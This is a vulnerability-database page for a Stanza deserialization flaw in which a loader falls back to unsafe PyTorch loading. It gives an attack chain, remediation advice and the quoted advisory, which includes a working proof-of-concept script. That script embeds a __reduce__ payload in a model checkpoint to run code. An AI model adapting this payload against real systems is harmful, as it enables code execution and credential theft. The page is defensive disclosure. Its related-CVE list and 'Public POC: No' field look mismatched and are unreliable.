Skip to main content

Stanza CVE-2026-54499

HIGH
Deserialization of Untrusted Data (CWE-502)
2026-06-19 https://github.com/stanfordnlp/stanza GHSA-v5jw-96jm-7h2c
7.5
CVSS 3.1 · Vendor: https://github.com/stanfordnlp/stanza
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Compromise model repository or shared cache
  2. Delivery
    Publish malicious .pt with embedded pickle global
  3. Exploit
    Victim runs stanza.Pipeline()
  4. Install
    weights_only=True raises UnpicklingError
  5. C2
    Fallback loads file with weights_only=False
  6. Execute
    __reduce__ executes arbitrary Python
  7. Impact
    Credential theft and lateral movement

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A08:2025 - Software or Data Integrity Failures
ASVS 5.0
V1 - Encoding and Sanitization Safe deserialization, type allowlists
MITRE ATT&CK

2 techniques across 2 tactics: Execution, Initial Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Attacker must place a malicious .pt checkpoint file at a filesystem path that Stanza will load via stanza.Pipeline(), FoundationCache.load_pretrain(), or any of the six affected loaders (pretrain.py, coref/model.py, classifiers/trainer.py, constituency/base_trainer.py, lemma_classifier/base_model.py). Realistic delivery vectors: compromise of a HuggingFace or GitHub model repository serving Stanza weights, poisoning a shared model cache directory (NFS, S3, artifact store), or distributing the file via a third-party fine-tuning hub. The malicious file needs only one unsupported pickle global (e.g., builtins.open) plus a structurally valid Stanza state dict - no special crypto, format reverse-engineering, or version dependency beyond Stanza ≤ 1.12.1. Limiting factors: the victim must voluntarily load the attacker-supplied model (the 'user interaction' from CVSS UI:R), and the attacker needs a write primitive into a path the victim trusts; the loading process itself requires no authentication and exploitation is platform-independent (any OS where Stanza/PyTorch run).

Impact

The provided CVSS 3.1 vector AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H scores 7.5 (High); however, AC:H and UI:R are arguably understated - the PoC demonstrates that the fallback is reliably and trivially triggered by embedding a single unsupported global, and 'user interaction' here is the routine act of loading a model file most data-science workflows perform automatically. EPSS and CISA KEV status are not provided in the input, so widespread automated exploitation cannot be claimed, but publicly available exploit code exists in the GHSA advisory itself. Realistic risk is elevated by the supply-chain delivery surface (HuggingFace, GitHub releases, shared NFS/S3 model caches), the high blast radius (full RCE under the loading process - often a developer workstation, Jupyter server, or GPU training node with cloud credentials in env vars), and the fact that five additional loaders share the same anti-pattern. This is a real priority for any team consuming third-party Stanza models.

Exploit ScenarioDerived

An attacker publishes a poisoned Stanza pretrain .pt file to a HuggingFace mirror, a typosquatted GitHub release, or writes it into a shared NFS/S3 model cache used by a research team. When a developer runs stanza.Pipeline('en') or any code path that calls load_pretrain(), the safe load raises UnpicklingError on the attacker-embedded global, the unsafe fallback fires, and the attacker's __reduce__ payload executes arbitrary Python in the developer's session - exfiltrating HuggingFace tokens, AWS/GCP keys from environment, or installing persistence. A working PoC is published in the GHSA advisory.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 19, 2026

Arbitrary code execution in Stanford NLP's Stanza 1.12.0 (and ≤1.12.1) occurs when the library loads a malicious PyTorch checkpoint, because its pretrain loader silently falls back from torch.load(weights_only=True) to weights_only=False whenever an UnpicklingError is raised - a condition the attacker fully controls by embedding one unsupported pickle global. Publicly available exploit code exists (working PoC in the GHSA advisory), and any developer, CI pipeline, or production NLP service that downloads Stanza model files from HuggingFace, GitHub, or a shared cache can be compromised. Fixed in Stanza 1.12.2.

RemediationAI

Vendor-released patch: upgrade stanza to 1.12.2 or later via pip install --upgrade stanza (per GHSA-v5jw-96jm-7h2c). If immediate upgrade is not possible, treat all Stanza pretrain/model files as untrusted code: source models only from cryptographically verified vendor channels, pin and checksum (SHA-256) every .pt file consumed by CI/CD, and isolate model-loading processes in containers or VMs without cloud credentials or production secrets in the environment. As a code-level workaround for forks, remove the except UnpicklingError: torch.load(..., weights_only=False) fallback in all six affected loaders and fail closed, or use PyTorch's torch.serialization.add_safe_globals() to allowlist only the specific NumPy dtypes legacy files require - note that hard-failing will break loading of older pretrain files generated before the migration, so a re-export step may be needed for internal model libraries. Also upgrade PyTorch to ≥ 2.6 so that the lemma_classifier loader's default is no longer unsafe.

Affected Packages

pypi stanza fix: 1.12.2

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in pypi

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Stanza is Stanford NLP Group's Python NLP toolkit (PyPI package stanza), widely used for tokenization, POS tagging, NER, and dependency parsing across 70+ languages. The flaw is a classic CWE-502 Deserialization of Untrusted Data: PyTorch's weights_only=True mode is designed to reject any pickle global not on its safe allowlist by raising pickle.UnpicklingError. Stanza's loaders in stanza/models/common/pretrain.py, coref/model.py, classifiers/trainer.py, and constituency/base_trainer.py catch that exception and immediately retry with weights_only=False, invoking Python's full pickle machinery and any __reduce__ method in the file. An additional loader at stanza/models/lemma_classifier/base_model.py:127 omits weights_only entirely, which defaults to False on PyTorch < 2.6, compounding the exposure. Trigger occurs inside the public stanza.Pipeline() and load_pretrain() API path, not by user-initiated torch.load.

Know when Checkpoint gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/stanfordnlp/stanza) PRIMARY 7.5 HIGH
AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H
vuln.today AI 8.8 HIGH

Network delivery via model repos (AV:N); trigger is a one-line pickle global, not complex (AC:L); no auth needed (PR:N); victim must load the file (UI:R); full RCE yields C/I/A:H.

3.1 AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Red Hat 7.5 HIGH

Primary rating from Vendor (https://github.com/stanfordnlp/stanza).

CVSS VectorVendor: https://github.com/stanfordnlp/stanza

Attack Vector
Network
Attack Complexity
High
Privileges Required
None
User Interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

DescriptionCVE.org

Summary

Stanza 1.12.0 attempts to safely load PyTorch checkpoint files using torch.load(..., weights_only=True), but automatically falls back to the fully unsafe torch.load(..., weights_only=False) when the safe load raises pickle.UnpicklingError. Because the UnpicklingError condition is fully attacker-controllable, any .pt file that contains a single unsupported pickle global will trigger it.

An attacker who can place a malicious pretrain or model file on disk (via supply-chain compromise, a poisoned model repository, or a shared model cache) can achieve arbitrary code execution on any machine that loads a Stanza NLP pipeline.

Code execution occurs inside the Stanza pretrain-loading API, not merely by calling torch.load directly.

Details

The vulnerable code is in pretrain.py#L59-L67 (Stanza 1.12.0):

python
try:
    data = torch.load(self.filename, lambda storage, loc: storage, weights_only=True)
except UnpicklingError:
    data = torch.load(self.filename, lambda storage, loc: storage, weights_only=False)

When weights_only=True is passed, PyTorch's deserializer raises pickle.UnpicklingError for any object whose class or callable is not on the safe-globals allowlist. This is the intended safety mechanism. However, Stanza catches that exception and immediately reloads the same attacker-controlled file with weights_only=False, which invokes Python's full pickle deserializer and executes any __reduce__ method in the file without restriction.

The fallback is triggered reliably and intentionally: an attacker embeds one unsupported pickle global (e.g., builtins.open) anywhere in an otherwise structurally valid Stanza pretrain state dict. The safe load rejects it; the unsafe reload runs it.

The same try/except pattern exists in at least five additional loaders in Stanza 1.12.0:

FileLines
stanza/models/common/pretrain.py64-66
stanza/models/coref/model.py251-253, 329-331
stanza/models/classifiers/trainer.py80-82
stanza/models/constituency/base_trainer.py94-96

Additionally, stanza/models/lemma_classifier/base_model.py:127 calls torch.load(filename, lambda storage, loc: storage) with no weights_only argument at all, which defaults to False on any PyTorch < 2.6.

The call chain from the public API to the vulnerable fallback is:

stanza.models.common.foundation_cache.load_pretrain(path)
  → FoundationCache.load_pretrain(path)
    → stanza.models.common.pretrain.Pretrain(filename)
      → Pretrain.emb  (property access triggers load)
        → Pretrain.load()
          → torch.load(..., weights_only=True)
# raises UnpicklingError
          → torch.load(..., weights_only=False)
# executes arbitrary pickle

---

PoC

Environment: Python 3.11, stanza1.12.0, torch2.12.0

Step 1: Install dependencies:

bash
pip install stanza==1.12.0 torch==2.12.0

Step 2: Save the following as exploit.py:

python
import os
from pathlib import Path

import torch
import stanza
from stanza.models.common.foundation_cache import FoundationCache, load_pretrain
from stanza.models.common.vocab import VOCAB_PREFIX

SENTINEL = "/tmp/stanza_rce_proof"
MODEL    = "/tmp/stanza_malicious.pt"

class HarmlessPayload:
    """Demonstrates execution; writes a sentinel file."""
    def __init__(self, path):
        self.path = path
    def __reduce__(self):
        return (open, (self.path, "w"))
# Build a structurally valid Stanza pretrain state dict with the payload embedded.
words = VOCAB_PREFIX + ["hello"]
state = {
    "vocab": {
        "lang": "", "idx": 0, "cutoff": 0, "lower": False,
        "_id2unit": words,
        "_unit2id": {w: i for i, w in enumerate(words)},
    },
    "emb": torch.zeros((len(words), 2), dtype=torch.float32),
    "payload": HarmlessPayload(SENTINEL),
# ← the malicious object
}
torch.save(state, MODEL)
# Confirm safe-only load raises UnpicklingError and does NOT create sentinel.
try:
    torch.load(MODEL, lambda s, l: s, weights_only=True)
    print("UNEXPECTED: safe load succeeded (no fallback needed)")
except Exception as e:
    print(f"Control: safe load raised {type(e).__name__} : sentinel exists: {Path(SENTINEL).exists()}")
# Load through the real Stanza API. The fallback fires and the sentinel is created.
cache   = FoundationCache()
pretrain = load_pretrain(MODEL, foundation_cache=cache)

print(f"stanza={stanza.__version__}  torch={torch.__version__}")
print(f"emb_shape={tuple(pretrain.emb.shape)}")
print(f"sentinel_exists={Path(SENTINEL).exists()}")
print("VERDICT: ACTUAL_VULN_REAL_STANZA_PATH" if Path(SENTINEL).exists() else "VERDICT: UNPROVEN")

Step 3 : Run:

bash
python exploit.py

Expected output (confirmed):

Control: safe load raised UnpicklingError : sentinel exists: False
stanza=1.12.0  torch=2.12.0
emb_shape=(5, 2)
sentinel_exists=True
VERDICT: ACTUAL_VULN_REAL_STANZA_PATH

The sentinel is created exclusively by the Stanza pretrain-loading API invoking the unsafe fallback : not by a direct torch.load call in the PoC.

---

Impact

Vulnerability class: CWE-502 : Deserialization of Untrusted Data

Who is impacted: Any user, researcher, CI/CD pipeline, or production NLP service that loads a Stanza model pretrain file from a source that is not under the victim's exclusive cryptographic control. Concretely:

  • Developers who run stanza.Pipeline(lang) after downloading models from HuggingFace or GitHub
  • CI pipelines that automatically refresh Stanza models during builds
  • Research environments that share pretrain files over shared network storage or model repositories

Attack prerequisites: The attacker must be able to place a malicious .pt pretrain file at a path that Stanza will load. Realistic delivery vectors include:

  • Compromise of a HuggingFace model repository hosting Stanza pretrain weights
  • Poisoning of a shared model cache directory (NFS, S3, artifact store)
  • A malicious pretrain file distributed via a third-party fine-tuning hub or research repo

What an attacker achieves: Arbitrary code execution with the full privileges of the process running stanza.Pipeline(), typically a developer workstation, a Jupyter notebook server, or a GPU training node. This allows credential theft (HuggingFace tokens, cloud IAM keys from environment variables), persistent backdoors, data exfiltration, and lateral movement in multi-tenant training infrastructure.

Recommended fix:

Remove the unsafe fallback entirely. If weights_only=True raises UnpicklingError, fail closed:

python
try:
    data = torch.load(self.filename, lambda storage, loc: storage, weights_only=True)
except UnpicklingError as e:
    raise RuntimeError(
        f"Refusing to load legacy pretrain file {self.filename!r} with unsafe "
        "deserialization. Regenerate the file using a trusted Stanza migration tool."
    ) from e

If legacy NumPy-containing pretrain files must be supported, use PyTorch's add_safe_globals() API to allowlist the specific NumPy dtypes required, rather than disabling all safety checks. Apply the same fix to all six affected loaders listed above.

Executive ViewAI

Why It Matters

Stanford NLP's Stanza library (versions ≤1.12.1) contains an arbitrary code execution vulnerability triggered when downloading PyTorch model checkpoints from public repositories (HuggingFace, GitHub). Any organization using Stanza in production, CI/CD pipelines, or development environments can be compromised; publicly available exploit code exists. The vulnerability threatens the confidentiality, integrity, and availability of systems relying on Stanza for natural language processing.

Business Impact: High
Compensating Controls

Apply vendor patch: Stanza 1.12.2.

Threat Intelligence Overview

EPSS Score
0.3%
Top 78% exploitable
Threat Intel
1
1 source
Data Quality
6 sources
Confidence: High
NVD CVE.org EPSS GHSA Vendor GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.3%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact
High

Priority Score

38
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +38
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Insecure deserialization occurs when an application converts serialized data (a stream of bytes representing an object's state) back into a living object without proper validation.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

Affected Products (CPE)CVE.org

pkg:pip/stanza
CVE-2014-6271 CRITICAL POC
9.8 Sep 24

GNU Bash through 4.3 processes trailing strings after function definitions in the values of environment variables, which

CVE-2024-24919 HIGH POC
8.6 May 28

Potentially allowing an attacker to read certain information on Check Point Security Gateways once connected to the inte

CVE-2014-7169 CRITICAL POC
9.8 Sep 25

GNU Bash through 4.3 bash43-025 processes trailing strings after certain malformed function definitions in the values of

CVE-2017-1000083 HIGH POC
7.8 Sep 05

backend/comics/comics-document.c (aka the comic book backend) in GNOME Evince before 3.24.1 allows remote attackers to e

CVE-2026-85102 CRITICAL POC
9.8 Sep 09

Remote code execution in Check Point Quantum Security Gateway arises from improper certificate trust validation during V

CVE-2026-16232 CRITICAL POC
9.3 Jul 22

Authentication bypass in the Check Point SmartConsole login process lets an unauthenticated remote attacker mint a valid

CVE-2026-50751 CRITICAL POC
9.3 Jun 08

Authentication bypass in Check Point Quantum Security Gateway and Spark Firewalls allows unauthenticated remote attacker

CVE-2026-93616 CRITICAL POC
9.8 Sep 22

Unauthenticated attackers who can reach the file-upload interface of Check Point Management Server can combine directory

CVE-2026-123039 HIGH POC
7.8 Nov 12

Local privilege escalation in Check Point Gaia OS lets an authenticated local user execute commands as root by writing t

CVE-2021-3449 MEDIUM
5.9 Mar 25

An OpenSSL TLS server may crash if sent a maliciously crafted renegotiation ClientHello message from a client. Rated med

CVE-2026-85103 CRITICAL POC
9.8 Sep 09

Remote code execution in Check Point Quantum Security Gateway and Quantum Security Management stems from a heap-based bu

CVE-2026-91843 CRITICAL POC
9.8 Sep 16

Unauthenticated remote code execution affects Check Point Quantum Security Management, where a stack-based buffer overfl

Vendor StatusVendor

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy